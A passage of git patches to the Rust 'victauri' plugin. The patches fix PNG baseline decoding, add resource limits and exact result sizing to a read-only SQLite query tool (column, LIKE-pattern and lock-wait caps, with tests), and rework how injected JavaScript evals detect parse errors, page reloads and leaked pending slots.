} + Ok(val) } impl fmt::Display for Locator { diff --git a/crates/victauri-test/src/visual.rs b/crates/victauri-test/src/visual.rs index 4422db9f..c47e54e3 100644 --- a/crates/victauri-test/src/visual.rs +++ b/crates/victauri-test/src/visual.rs @@ -257,7 +257,11 @@ struct DecodedImage { } fn decode_png(data: &[u8]) -> Result { - let decoder = png::Decoder::new(std::io::Cursor::new(data)); + let mut decoder = png::Decoder::new(std::io::Cursor::new(data)); + // 8-bit samples only: palette and sub-byte grayscale expanded, 16-bit stripped. + // Without this a 16-bit or indexed baseline (e.g. one optimised by an image tool) + // was compared as if it were 8-bit RGBA, or refused outright. + decoder.set_transformations(png::Transformations::normalize_to_color8()); let mut reader = decoder .read_info() .map_err(|e| TestError::Other(format!("PNG decode error: {e}")))?; @@ -285,6 +289,14 @@ fn decode_png(data: &[u8]) -> Result { } rgba } + png::ColorType::GrayscaleAlpha => { + let gray = &buf[..info.buffer_size()]; + let mut rgba = Vec::with_capacity(gray.len() * 2); + for &[g, a] in gray.as_chunks::<2>().0 { + rgba.extend_from_slice(&[g, g, g, a]); + } + rgba + } other => { return Err(TestError::Other(format!( "unsupported PNG color type: {other:?}" @@ -576,6 +588,46 @@ mod tests { assert_eq!(result.diff_pixel_count, 0); } + /// A 16-bit and an indexed encoding of the same solid colour both compare equal + /// to the 8-bit RGBA screenshot (they used to be misread or refused). + #[test] + fn sixteen_bit_and_indexed_baselines_decode_to_the_same_pixels() { + let (r, g, b) = (200u8, 100u8, 50u8); + let mut deep = Vec::new(); + { + let mut encoder = png::Encoder::new(&mut deep, 4, 4); + encoder.set_color(png::ColorType::Rgba); + encoder.set_depth(png::BitDepth::Sixteen); + let mut writer = encoder.write_header().unwrap(); + let px = [r, r, g, g, b, b, 255, 255]; + writer.write_image_data(&px.repeat(16)).unwrap(); + } + let mut indexed = Vec::new(); + { + let mut encoder = png::Encoder::new(&mut indexed, 4, 4); + encoder.set_color(png::ColorType::Indexed); + encoder.set_depth(png::BitDepth::Eight); + encoder.set_palette(vec![r, g, b]); + let mut writer = encoder.write_header().unwrap(); + writer.write_image_data(&[0u8; 16]).unwrap(); + } + let screenshot = to_base64(&make_solid_png(4, 4, r, g, b)); + for (name, baseline) in [("deep", deep), ("indexed", indexed)] { + let dir = tempfile::tempdir().unwrap(); + let opts = VisualOptions { + snapshot_dir: dir.path().to_path_buf(), + channel_tolerance: 0, + platform_baselines: false, + ..VisualOptions::default() + }; + std::fs::write(dir.path().join(format!("{name}.png")), &baseline).unwrap(); + let result = compare_screenshot(name, &screenshot, &opts) + .unwrap_or_else(|e| panic!("{name}: {e}")); + assert_eq!(result.diff_pixel_count, 0, "{name}"); + assert_eq!(result.total_pixels, 16, "{name}"); + } + } + #[test] fn grayscale_png_converts_to_rgba() { let dir = tempfile::tempdir().unwrap(); From a7736ed8a7597d75ff0eb0f4ed334baacb8fbe7e Mon Sep 17 00:00:00 2001 From: antony Date: Sun, 27 Sep 2026 20:24:27 +1000 Subject: [PATCH 021/167] fix(query_db): charge the result budget per raw cell; cap result width, LIKE patterns and lock waits Audit F1/F2(db side)/F7. - The 5 MB result cap was checked only after a whole row had been materialized, base64'd and re-serialized; with 1 MB cells and SQLite's 2000-column default one row could reach gigabytes. Each cell's encoded size is now computed from the raw value (a blob's base64 length is arithmetic) and charged before conversion; the re-serialization is gone and result_bytes stays exact. - SQLITE_LIMIT_COLUMN = 256 for the query's result set. The limit also bounds table definitions, so the schema is loaded first under the default - otherwise one wide table made the whole database unqueryable. - Duplicate result names (SELECT 1 AS a, 2 AS a) silently dropped a value from the row object; repeated names now get a `:N` suffix and `columns` lists exactly the keys each row carries. - SQLITE_LIMIT_LIKE_PATTERN_LENGTH = 1000 on the query and db_health connections: LIKE/GLOB never check for an interrupt. - busy_timeout 5s -> 1s: the lock wait is added to the CPU deadline while the query holds a read transaction that stalls WAL checkpoints. Also backticks a doc identifier clippy's doc_markdown rejects on the base. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01We4pMEPqPFqE4WVQy4GWGz --- crates/victauri-plugin/src/database.rs | 317 ++++++++++++++++++++++--- crates/victauri-plugin/src/mcp/mod.rs | 2 +- 2 files changed, 288 insertions(+), 31 deletions(-) diff --git a/crates/victauri-plugin/src/database.rs b/crates/victauri-plugin/src/database.rs index 17eff17e..f3edfb31 100644 --- a/crates/victauri-plugin/src/database.rs +++ b/crates/victauri-plugin/src/database.rs @@ -140,6 +140,11 @@ pub(crate) fn db_health_report( rusqlite::limits::Limit::SQLITE_LIMIT_LENGTH, MAX_DB_HEALTH_CELL_BYTES, ); + // The metadata phase runs `LIKE` against schema SQL the database file supplies. + conn.set_limit( + rusqlite::limits::Limit::SQLITE_LIMIT_LIKE_PATTERN_LENGTH, + MAX_LIKE_PATTERN_BYTES, + ); // Phase 0: metadata + the (bounded) table listing. let meta = run_bounded(&conn, DB_HEALTH_META_BUDGET, |c| { @@ -300,9 +305,23 @@ const MAX_QUERY_RESULT_BYTES: usize = 5_000_000; #[cfg(feature = "sqlite")] const MAX_QUERY_SQL_BYTES: usize = 1_000_000; #[cfg(feature = "sqlite")] -const QUERY_TIMEOUT: Duration = Duration::from_secs(5); +pub(crate) const QUERY_TIMEOUT: Duration = Duration::from_secs(5); #[cfg(feature = "sqlite")] const QUERY_PROGRESS_OPS: i32 = 10_000; +/// Result-set width cap (`SQLite`'s default is 2000). With 1 MB cells, 2000 columns let a +/// single row reach gigabytes before any Rust-side budget could see it. +#[cfg(feature = "sqlite")] +const MAX_QUERY_COLUMNS: i32 = 256; +/// `LIKE`/`GLOB` pattern length cap (`SQLite`'s default is 50 000). Pattern matching is one +/// C call that never checks for an interrupt, so a long pattern against a long value ran for +/// tens of seconds past the query deadline. +#[cfg(feature = "sqlite")] +const MAX_LIKE_PATTERN_BYTES: i32 = 1_000; +/// How long a query waits on a lock held by the app. Kept short: a query holds its read +/// transaction for the lock wait PLUS its CPU deadline, and an open read transaction stalls +/// WAL checkpointing in the app. +#[cfg(feature = "sqlite")] +const QUERY_BUSY_TIMEOUT: Duration = Duration::from_secs(1); #[cfg(feature = "sqlite")] static READ_ONLY_PREFIXES: &[&str] = &["select", "pragma", "explain", "with"]; @@ -806,7 +825,7 @@ fn query_with_limits( conn.authorizer(Some(query_authorizer)); // Limit lock waits separately from the CPU deadline enforced below. - conn.busy_timeout(std::time::Duration::from_secs(5)) + conn.busy_timeout(QUERY_BUSY_TIMEOUT) .map_err(|e| format!("failed to set timeout: {e}"))?; // Bound both SQLite's per-value/row allocation and CPU time. `busy_timeout` @@ -819,6 +838,10 @@ fn query_with_limits( rusqlite::limits::Limit::SQLITE_LIMIT_SQL_LENGTH, MAX_QUERY_SQL_BYTES as i32, ); + conn.set_limit( + rusqlite::limits::Limit::SQLITE_LIMIT_LIKE_PATTERN_LENGTH, + MAX_LIKE_PATTERN_BYTES, + ); let started = Instant::now(); conn.progress_handler( QUERY_PROGRESS_OPS, @@ -829,16 +852,27 @@ fn query_with_limits( // return path, including `?` errors below). let _interrupt = InterruptGuard::arm(&conn, query_timeout); + // `SQLITE_LIMIT_COLUMN` also bounds table DEFINITIONS, so a schema holding one wide table + // would fail to parse under it and make the whole database unqueryable. Load the schema + // first (preparing any statement does), then cap the width of the query's result set. + drop( + conn.prepare("SELECT 1 FROM sqlite_master LIMIT 0") + .map_err(|e| sqlite_query_error("failed to load database schema", e, query_timeout))?, + ); + conn.set_limit( + rusqlite::limits::Limit::SQLITE_LIMIT_COLUMN, + MAX_QUERY_COLUMNS, + ); + let mut stmt = conn .prepare(sql) .map_err(|e| sqlite_query_error("failed to prepare query", e, query_timeout))?; - let column_names: Vec = stmt - .column_names() - .iter() - .map(|s| (*s).to_string()) - .collect(); - let column_count = column_names.len(); + let column_names = unique_column_keys(&stmt.column_names()); + // `"key":` per column, sized once. + let key_bytes: Vec = column_names.iter().map(|k| json_len(k) + 1).collect(); + // A row object's fixed cost: its braces and the commas between its fields. + let row_overhead = 2 + column_names.len().saturating_sub(1); let sqlite_params: Vec> = params.iter().map(json_to_sql).collect(); @@ -848,12 +882,13 @@ fn query_with_limits( let mut rows = stmt .query(param_refs.as_slice()) .map_err(|e| sqlite_query_error("query execution failed", e, query_timeout))?; - let mut result_bytes = serde_json::to_vec(&column_names) - .map_err(|e| format!("failed to size query result columns: {e}"))? - .len(); + let mut result_bytes = json_len(&column_names); let mut truncated = false; - while let Some(row) = rows + // The byte budget is charged CELL BY CELL, from each raw value's encoded size, before the + // cell is converted: a row can never be materialized past the cap (it used to be built, + // base64'd and re-serialized in full before the first size check). + 'rows: while let Some(row) = rows .next() .map_err(|e| sqlite_query_error("row read failed", e, query_timeout))? { @@ -861,21 +896,28 @@ fn query_with_limits( truncated = true; break; } + let mut row_bytes = row_overhead; let mut obj = serde_json::Map::new(); - for (i, col_name) in column_names.iter().enumerate().take(column_count) { - let value = row_value_to_json(row, i); + for (i, col_name) in column_names.iter().enumerate() { + let spent = result_bytes + .saturating_add(row_bytes) + .saturating_add(key_bytes[i]); + let budget = max_result_bytes.saturating_sub(spent); + let Some((value, value_bytes)) = cell_to_json(row, i, budget) else { + truncated = true; + break 'rows; + }; + row_bytes = row_bytes + .saturating_add(key_bytes[i]) + .saturating_add(value_bytes); obj.insert(col_name.clone(), value); } - let row_value = serde_json::Value::Object(obj); - let row_bytes = serde_json::to_vec(&row_value) - .map_err(|e| format!("failed to size query result row: {e}"))? - .len(); if result_bytes.saturating_add(row_bytes) > max_result_bytes { truncated = true; break; } result_bytes = result_bytes.saturating_add(row_bytes); - rows_out.push(row_value); + rows_out.push(serde_json::Value::Object(obj)); } Ok(serde_json::json!({ @@ -920,32 +962,108 @@ fn json_to_sql(val: &serde_json::Value) -> Box { } } +/// Result-object keys for a statement's columns. `SQLite` allows duplicate result names +/// (`SELECT 1 AS a, 2 AS a`), which as JSON object keys silently dropped all but one value +/// while `columns` still listed both. A repeated name gets a `:N` suffix (`a`, `a:1`, …), +/// skipping any suffix that is itself a real column name, so every key is unique and +/// `columns` lists exactly the keys each row carries. +#[cfg(feature = "sqlite")] +fn unique_column_keys(names: &[&str]) -> Vec { + let originals: std::collections::HashSet<&str> = names.iter().copied().collect(); + let mut used: std::collections::HashSet = std::collections::HashSet::new(); + names + .iter() + .map(|&name| { + let mut key = name.to_string(); + let mut n = 0u32; + while used.contains(&key) || (n > 0 && originals.contains(key.as_str())) { + n += 1; + key = format!("{name}:{n}"); + } + used.insert(key.clone()); + key + }) + .collect() +} + +/// A `std::io::Write` sink that only counts bytes, so an encoded size can be measured +/// without building the encoding. +#[cfg(feature = "sqlite")] +struct ByteCounter(usize); + +#[cfg(feature = "sqlite")] +impl std::io::Write for ByteCounter { + fn write(&mut self, buf: &[u8]) -> std::io::Result { + self.0 = self.0.saturating_add(buf.len()); + Ok(buf.len()) + } + fn flush(&mut self) -> std::io::Result<()> { + Ok(()) + } +} + +/// Exact compact-JSON length of `value`, measured without allocating the encoding. +#[cfg(feature = "sqlite")] +fn json_len(value: &T) -> usize { + let mut counter = ByteCounter(0); + // Serializing into a counter cannot fail for these value types; a failure would only + // under-count, and the caller's cap check is then conservative on the next cell. + let _ = serde_json::to_writer(&mut counter, value); + counter.0 +} + +/// Convert one result cell to JSON if its encoded size fits `budget` bytes, returning the value +/// and that size. The size is taken from the RAW cell before converting (a blob's base64 length +/// is computed, not encoded), so a cell that does not fit is never materialized. #[cfg(feature = "sqlite")] -fn row_value_to_json(row: &rusqlite::Row, idx: usize) -> serde_json::Value { +fn cell_to_json( + row: &rusqlite::Row, + idx: usize, + budget: usize, +) -> Option<(serde_json::Value, usize)> { use rusqlite::types::ValueRef; - match row.get_ref(idx) { - Ok(ValueRef::Null) => serde_json::Value::Null, - Ok(ValueRef::Integer(i)) => serde_json::json!(i), - Ok(ValueRef::Real(f)) => serde_json::json!(f), + let (value, bytes) = match row.get_ref(idx) { + Ok(ValueRef::Null) | Err(_) => (serde_json::Value::Null, 4), + Ok(ValueRef::Integer(i)) => (serde_json::json!(i), json_len(&i)), + Ok(ValueRef::Real(f)) => { + let v = serde_json::json!(f); + let n = json_len(&v); + (v, n) + } Ok(ValueRef::Text(t)) => { + // Borrowed (no copy) for valid UTF-8; a cell is at most MAX_QUERY_CELL_BYTES. let s = String::from_utf8_lossy(t); if let Ok(parsed) = serde_json::from_str::(&s) && (parsed.is_object() || parsed.is_array()) { - return parsed; + let n = json_len(&parsed); + (parsed, n) + } else { + let n = json_len(&*s); + if n > budget { + return None; + } + (serde_json::Value::String(s.into_owned()), n) } - serde_json::Value::String(s.into_owned()) } Ok(ValueRef::Blob(b)) => { use base64::Engine; - serde_json::json!({ + // `{"__blob":true,"size":N,"base64":"…"}` + let bytes = r#"{"__blob":true,"size":,"base64":""}"#.len() + + json_len(&b.len()) + + b.len().div_ceil(3) * 4; + if bytes > budget { + return None; + } + let v = serde_json::json!({ "__blob": true, "size": b.len(), "base64": base64::engine::general_purpose::STANDARD.encode(b), - }) + }); + (v, bytes) } - Err(_) => serde_json::Value::Null, - } + }; + (bytes <= budget).then_some((value, bytes)) } #[cfg(all(test, feature = "sqlite"))] @@ -1181,6 +1299,145 @@ mod tests { assert!(result["result_bytes"].as_u64().unwrap() <= 250_000); } + /// Audit F1: `SQLITE_LIMIT_COLUMN` was the 2000 default, so one row of 1 MB cells could + /// reach gigabytes inside `SQLite` + the host before any budget was consulted. + #[test] + fn result_set_width_is_capped() { + let (_f, path) = create_test_db(); + let cols = (1..=300) + .map(|i| format!("x AS c{i}")) + .collect::>() + .join(", "); + let sql = format!("WITH b(x) AS (SELECT 1) SELECT {cols} FROM b"); + let err = query(&path, &sql, &[], None).unwrap_err(); + assert!(err.contains("too many columns"), "{err}"); + } + + /// The column cap limits result sets, never the ability to read an app's wide table. + #[test] + fn wide_table_is_still_readable_under_the_column_cap() { + let file = tempfile::NamedTempFile::with_suffix(".sqlite").unwrap(); + let conn = rusqlite::Connection::open(file.path()).unwrap(); + let cols = (1..=300) + .map(|i| format!("c{i} INTEGER")) + .collect::>() + .join(", "); + conn.execute_batch(&format!( + "CREATE TABLE wide ({cols}); INSERT INTO wide (c1, c300) VALUES (7, 9);" + )) + .unwrap(); + drop(conn); + let r = query(file.path(), "SELECT c1, c300 FROM wide", &[], None).unwrap(); + assert_eq!(r["rows"][0]["c1"], 7); + assert_eq!(r["rows"][0]["c300"], 9); + // Only a result set that wide is refused, with a clear reason. + let err = query(file.path(), "SELECT * FROM wide", &[], None).unwrap_err(); + assert!(err.contains("too many columns"), "{err}"); + } + + /// Audit F1: a row of many large blobs stops at the byte cap, and what IS returned is + /// within the cap (the budget is charged per cell, before conversion). + #[test] + fn wide_row_of_large_blobs_stops_at_the_byte_cap() { + let (_f, path) = create_test_db(); + let cols = (1..=40) + .map(|i| format!("x AS c{i}")) + .collect::>() + .join(", "); + let sql = format!("WITH b(x) AS (SELECT zeroblob(1000000)) SELECT {cols} FROM b"); + let r = query(&path, &sql, &[], None).unwrap(); + assert_eq!(r["truncated"], true); + assert_eq!(r["row_count"], 0); + assert!(r["result_bytes"].as_u64().unwrap() <= MAX_QUERY_RESULT_BYTES as u64); + } + + /// `result_bytes` is the exact encoded size of `columns` + every returned row, measured + /// from raw cells without re-serializing the row. + #[test] + fn result_bytes_matches_the_encoded_rows_exactly() { + let (_f, path) = create_test_db(); + let r = query( + &path, + "SELECT id, name, score, NULL AS n, X'00FF10' AS b, '{\"k\": [1, 2]}' AS j, \ + 'q\"\\\n\u{1}é' AS s, 1.5e300 AS big FROM users", + &[], + None, + ) + .unwrap(); + let mut expected = serde_json::to_vec(&r["columns"]).unwrap().len(); + for row in r["rows"].as_array().unwrap() { + expected += serde_json::to_vec(row).unwrap().len(); + } + assert_eq!(r["result_bytes"].as_u64().unwrap() as usize, expected); + assert!(r["rows"][0]["j"].is_object()); + assert_eq!(r["rows"][0]["b"]["size"], 3); + } + + /// Audit F1: `SELECT 1 AS a, 2 AS a` returned `columns: [a, a]` but a row object with one + /// `a` — a value silently vanished. + #[test] + fn duplicate_column_names_keep_every_value() { + let (_f, path) = create_test_db(); + let r = query( + &path, + "SELECT 1 AS a, 2 AS a, 3 AS \"a:1\", 4 AS a", + &[], + None, + ) + .unwrap(); + assert_eq!(r["columns"], serde_json::json!(["a", "a:2", "a:1", "a:3"])); + let row = &r["rows"][0]; + assert_eq!(row["a"], 1); + assert_eq!(row["a:2"], 2); + assert_eq!(row["a:1"], 3); + assert_eq!(row["a:3"], 4); + assert_eq!(row.as_object().unwrap().len(), 4); + } + + /// Audit F2: `LIKE`/`GLOB` never check for an interrupt, so a long pattern ran tens of + /// seconds past the deadline. Long patterns are now refused up front. + #[test] + fn long_like_and_glob_patterns_are_refused() { + let (_f, path) = create_test_db(); + let pattern = format!("%{}%", "a".repeat(5_000)); + for sql in [ + "SELECT name FROM users WHERE name LIKE ?", + "SELECT name FROM users WHERE name GLOB ?", + ] { + let started = Instant::now(); + let err = query(&path, sql, &[serde_json::json!(pattern)], None).unwrap_err(); + assert!(err.contains("pattern too complex"), "{sql}: {err}"); + assert!(started.elapsed() < Duration::from_secs(2)); + } + // An ordinary pattern still works. + let r = query( + &path, + "SELECT name FROM users WHERE name LIKE ?", + &[serde_json::json!("A%")], + None, + ) + .unwrap(); + assert_eq!(r["row_count"], 1); + } + + /// Audit F7: a query waited up to 5s on the app's lock before its 5s CPU deadline even + /// started, holding a read transaction (and stalling WAL checkpoints) for ~10s. + #[test] + fn lock_wait_is_short() { + let (_f, path) = create_test_db(); + let locker = rusqlite::Connection::open(&path).unwrap(); + locker.execute_batch("BEGIN EXCLUSIVE").unwrap(); + let started = Instant::now(); + let err = query(&path, "SELECT * FROM users", &[], None).unwrap_err(); + assert!(err.contains("locked"), "{err}"); + assert!( + started.elapsed() < Duration::from_secs(3), + "lock wait took {:?}", + started.elapsed() + ); + locker.execute_batch("ROLLBACK").unwrap(); + } + #[test] fn cpu_heavy_query_times_out() { let (_f, path) = create_test_db(); diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index a4c49f97..d723427b 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -6248,7 +6248,7 @@ mod authz_dispatch_tests { /// positional array body used to be gated as the bare tool name, which the Test /// profile allows for `navigate` — the handler then parsed and ran `go_to`. Both /// shapes must now be refused as invalid params before any handler runs, in every - /// profile (FullControl with the action disabled is the other half of the bypass). + /// profile (`FullControl` with the action disabled is the other half of the bypass). #[tokio::test] async fn non_string_action_cannot_slip_past_the_gate() { let mut full_minus_go_to = PrivacyConfig::default(); From 7b8b620659a721fd5d2c3eba7fcf8188ebe09ceb Mon Sep 17 00:00:00 2001 From: antony Date: Sun, 27 Sep 2026 20:43:52 +1000 Subject: [PATCH 022/167] fix(eval): no parse-watchdog race, page-nonce reload detection, leak-proof pending slots The eval lifecycle had several ways to tell an agent the wrong thing about code it sent: - Parse watchdog race (C1/V-5): a 750ms timer armed by one main-thread round trip raced the user code delivered by a second. A busy main thread delaying the code past 750ms reported "syntax/parse error" for code that then RAN (an invoke_command retry ran twice). The code is now delivered first and a check script after it (webview evals run in order): "not begun" means it did not parse. No timer. The bridge keeps tombstones of settled evals, so every outcome is delivered at most once and code reported as never begun cannot run. - Reload detection (C4, V-13): the 250ms grace hid real reloads that completed within it and misread a same-page ready signal delayed past it as a reload. Each page load now has a nonce (sent with the ready signal, reported by the liveness probe); a reload is a ready signal from a different page, confirmed by asking the page for its current nonce, so page script can no longer abort agent evals by forging the ready signal. bfcache restores re-announce the page. - Pending-slot leak (C2/N2): entries were removed only on paths inside the eval future, so a REST client that disconnected leaked its slot; 100 leaks wedged every eval tool. Every reservation (agent eval, probe, page-originated eval, recording drain) is now an RAII guard. - Typed eval outcome (C7): invoke_command timings came from an error-text prefix list and recorded calls that never reached the command (saturated map, dead bridge, failed injection, parse error). Failures are now typed NotSent / Aborted / Page; only calls that ran are timed. - App exit (C15d): subscribe() marks the current shutdown value seen, so an eval started after Exit waited its full timeout. It is now checked up front (and Exit uses send_replace so the value flips even with no receiver left). - Unserializable results (V-12): circular/BigInt results read "JavaScript error" and functions came back as a raw envelope; both are now "the code ran, but its result could not be serialized to JSON ()". - Page-eval budget (V-15): per window (10) under a page-wide cap (25), so one window cannot starve another's page-originated evals. Also fixes a pre-existing doc_markdown lint in a test comment that failed clippy --all-targets. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01We4pMEPqPFqE4WVQy4GWGz --- crates/victauri-plugin/src/introspection.rs | 55 +- crates/victauri-plugin/src/js_bridge.rs | 185 +++- crates/victauri-plugin/src/lib.rs | 61 +- crates/victauri-plugin/src/mcp/mod.rs | 850 ++++++++++++++----- crates/victauri-plugin/src/mcp/server.rs | 9 +- crates/victauri-plugin/src/tools.rs | 109 ++- crates/victauri-plugin/tests/bridge_tests.rs | 252 ++++++ 7 files changed, 1198 insertions(+), 323 deletions(-) diff --git a/crates/victauri-plugin/src/introspection.rs b/crates/victauri-plugin/src/introspection.rs index 30884d40..d7176f5d 100644 --- a/crates/victauri-plugin/src/introspection.rs +++ b/crates/victauri-plugin/src/introspection.rs @@ -1249,34 +1249,61 @@ fn enumerate_children_macos(parent_pid: u32) -> Vec { // ── Page loads ───────────────────────────────────────────────────────────── -/// When each window last loaded a page, recorded whenever its JS bridge (re)initializes — i.e. -/// on every page load or reload. An eval running in a page that has since been replaced can -/// never deliver its result, so a later load lets the caller fail fast ("the page reloaded while -/// the call was in flight") instead of waiting out the full timeout. +/// Each window's latest bridge ready signal — sent whenever its JS bridge (re)initializes, i.e. +/// on every page load or reload — with the nonce identifying that page load. An eval running in +/// a page that has since been replaced can never deliver its result, so a ready signal from a +/// DIFFERENT page lets the caller fail fast ("the page reloaded while the call was in flight") +/// instead of waiting out the full timeout. #[derive(Default)] pub struct PageLoads { - last_load: std::sync::Mutex>, + last_load: std::sync::Mutex>, + seq: std::sync::atomic::AtomicU64, changed: tokio::sync::Notify, } +/// One recorded ready signal. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct PageLoad { + /// Increases with every ready signal (from any window), so a caller can tell "a new signal + /// since I looked" from "the same one". + pub seq: u64, + /// The page-load nonce the signal carried (`None` from a bridge that sends none). + pub nonce: Option, +} + +/// Longest nonce kept from a ready signal (the bridge's is a UUID; the signal is page-callable). +const MAX_PAGE_NONCE_LEN: usize = 128; + impl PageLoads { - /// Record that window `label` loaded a (new) page now. - pub fn record_load(&self, label: &str) { - self.last_load - .lock() - .unwrap_or_else(std::sync::PoisonError::into_inner) - .insert(label.to_string(), Instant::now()); + /// Record that window `label` sent a ready signal for the page identified by `nonce`. + pub fn record_load(&self, label: &str, nonce: Option<&str>) { + let nonce = nonce.map(|n| n.chars().take(MAX_PAGE_NONCE_LEN).collect()); + { + let mut loads = self + .last_load + .lock() + .unwrap_or_else(std::sync::PoisonError::into_inner); + // Numbered under the lock, so a window's stored seq only ever grows. + let seq = self.seq.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1; + loads.insert(label.to_string(), PageLoad { seq, nonce }); + } self.changed.notify_waiters(); } - /// Whether window `label` loaded a page strictly after `t`. + /// Window `label`'s latest ready signal, if any. #[must_use] - pub fn loaded_after(&self, label: &str, t: Instant) -> bool { + pub fn latest(&self, label: &str) -> Option { self.last_load .lock() .unwrap_or_else(std::sync::PoisonError::into_inner) .get(label) - .is_some_and(|at| *at > t) + .cloned() + } + + /// The sequence number of the most recent ready signal from any window (0 if none yet). + #[must_use] + pub fn current_seq(&self) -> u64 { + self.seq.load(std::sync::atomic::Ordering::Relaxed) } /// Resolves the next time any window records a page load. diff --git a/crates/victauri-plugin/src/js_bridge.rs b/crates/victauri-plugin/src/js_bridge.rs index dc89e150..9fa99d25 100644 --- a/crates/victauri-plugin/src/js_bridge.rs +++ b/crates/victauri-plugin/src/js_bridge.rs @@ -57,6 +57,96 @@ pub fn init_script(caps: &BridgeCapacities) -> String { + &INIT_SCRIPT_BODY.replace("__VICTAURI_BRIDGE_VERSION__", env!("CARGO_PKG_VERSION")) } +// ── Eval scripts ───────────────────────────────────────────────────────────── +// +// The scripts an agent eval injects, in order: the liveness probe, then the wrapper around the +// user code, then the parse check. Internal plumbing (`pub` only so the jsdom suite can drive +// the real scripts); ids are Victauri-generated UUIDs and nonces come from the bridge. + +fn js_literal(s: &str) -> String { + serde_json::to_string(s).unwrap_or_else(|_| "null".to_string()) +} + +/// The pre-eval liveness probe: answers `"probe_ok:"` (just `"probe_ok"` without a +/// bridge). The id follows `id:` with no space, unlike the wrapper's `id: `. +#[doc(hidden)] +#[must_use] +pub fn eval_probe_script(id: &str) -> String { + format!( + "(async()=>{{var v=window.__VICTAURI__;\ + var n=(v&&typeof v._pageNonce==='string')?':'+v._pageNonce:'';\ + await window.__TAURI_INTERNALS__.invoke('plugin:victauri|victauri_eval_callback',\ + {{id:{},result:'\"probe_ok'+n+'\"'}});}})();", + js_literal(id) + ) +} + +/// The page nonce reported by a liveness-probe answer (`None` for a page without a nonce). +#[doc(hidden)] +#[must_use] +pub fn probe_answer_nonce(raw: &str) -> Option { + let answer: String = serde_json::from_str(raw).ok()?; + answer + .strip_prefix("probe_ok:") + .filter(|n| !n.is_empty()) + .map(str::to_string) +} + +/// The wrapper that runs `code` (already `return`-prefixed as needed) and settles its outcome +/// exactly once through the bridge. +#[doc(hidden)] +#[must_use] +pub fn eval_wrapper_script(id: &str, code: &str) -> String { + let id_js = js_literal(id); + // `{code}` is followed by a NEWLINE so a trailing `// comment` in the user code cannot + // comment out the rest of the wrapper (it used to turn every such eval into a parse error). + // `_evalBegin` runs synchronously when the script is evaluated, before the parse check. + format!( + r" + (async () => {{ + const __vic = {{ id: {id_js}, bridge: window.__VICTAURI__ }}; + const __settle = (p) => (__vic.bridge && __vic.bridge._evalSettle) + ? __vic.bridge._evalSettle(__vic.id, p) + : window.__TAURI_INTERNALS__.invoke('plugin:victauri|victauri_eval_callback', {{ + id: __vic.id, result: JSON.stringify(p) + }}); + if (__vic.bridge && __vic.bridge._evalBegin && !__vic.bridge._evalBegin(__vic.id)) return; + try {{ + const __result = await (async () => {{ {code} + }})(); + const __type = __result === undefined ? 'undefined' + : __result === null ? 'null' : 'value'; + const __val = __type === 'value' ? __result : null; + await __settle({{ __victauri_ok: __val, __victauri_type: __type }}); + }} catch (e) {{ + await __settle({{ __victauri_err: (function (x) {{ + // A Tauri command's `Err(serde struct)` rejects with a plain object: + // ``String(obj)`` would collapse it to '[object Object]'. + if (x && typeof x.message === 'string') return x.message; + if (typeof x === 'string') return x; + try {{ var s = JSON.stringify(x); if (s !== undefined) return s; }} catch (_) {{}} + try {{ return String(x); }} catch (_) {{ return Object.prototype.toString.call(x); }} + }})(e) }}); + }} + }})(); + " + ) +} + +/// The parse check, delivered right after the wrapper to the same window. It reports "did not +/// begin executing" only if the wrapper never started in the page the eval was armed in +/// (`nonce`, from the liveness probe; `None` disables the check). +#[doc(hidden)] +#[must_use] +pub fn eval_check_script(id: &str, nonce: Option<&str>) -> String { + format!( + "(function () {{ var v = window.__VICTAURI__; \ + if (v && v._evalCheck) v._evalCheck({}, {}); }})();", + js_literal(id), + nonce.map_or_else(|| "null".to_string(), js_literal) + ) +} + /// The body of the init script (after capacity variable declarations). /// Uses CAP_* variables for all log limits. const INIT_SCRIPT_BODY: &str = r#" @@ -292,7 +382,23 @@ const INIT_SCRIPT_BODY: &str = r#" // non-configurable `__VICTAURI__` methods below, which never reveal an id. Serialization uses // `JSON.stringify` captured here, at init, before any page script can replace it. var PRISTINE_STRINGIFY = JSON.stringify; - var evalState = new Map(); + // Identity of THIS page load, reported with the ready signal and the liveness probe. An eval + // is armed in one page; only a ready signal carrying a DIFFERENT nonce can be a reload that + // killed it (a late ready from the same page, or one forged by page script, cannot). + var PAGE_NONCE = (function() { + try { if (window.crypto && typeof window.crypto.randomUUID === 'function') return window.crypto.randomUUID(); } catch (e) {} + return Date.now().toString(36) + '-' + Math.random().toString(36).slice(2) + Math.random().toString(36).slice(2); + })(); + // Evals whose code has begun, and tombstones of settled ones (bounded, oldest evicted) so an + // outcome is delivered at most once and a "never began" report can never be followed by a run. + var evalState = new Set(); + var evalDone = new Set(); + var EVAL_DONE_CAP = 1000; + function evalMarkDone(id) { + evalState.delete(id); + evalDone.add(id); + if (evalDone.size > EVAL_DONE_CAP) evalDone.delete(evalDone.values().next().value); + } function evalCallback(id, body) { try { return window.__TAURI_INTERNALS__.invoke('plugin:victauri|victauri_eval_callback', { id: id, result: body }); @@ -320,37 +426,46 @@ const INIT_SCRIPT_BODY: &str = r#" _captureIpcBodies: true, // Eval plumbing used by Victauri's injected eval scripts (not a user API). - // Arm the parse watchdog: if the user-code script never begins executing within `ms` - // (almost always a syntax error, which fails the whole script), report that instead of - // letting the caller wait for its full timeout. - _evalArm: function(id, ms) { + _pageNonce: PAGE_NONCE, + // Called synchronously at the top of the eval wrapper. Returns false when the eval was + // already settled (reported as never begun), in which case the wrapper must not run it. + _evalBegin: function(id) { id = String(id); - if (evalState.has(id)) return; - var s = { started: false, done: false }; - evalState.set(id, s); - setTimeout(function() { - if (s.started || s.done) return; - s.done = true; - evalState.delete(id); - evalCallback(id, PRISTINE_STRINGIFY({ __victauri_err: 'code did not begin executing within ' + ms + 'ms — this almost always means a syntax/parse error in the submitted code (or the page main thread was blocked)' })); - }, ms); + if (evalDone.has(id)) return false; + evalState.add(id); + return true; }, - _evalBegin: function(id) { - var s = evalState.get(String(id)); - if (s) s.started = true; + // Delivered right AFTER the wrapper script (webview evals run in order). If the wrapper + // never began, it failed to parse — almost always a syntax error. No timer is involved, 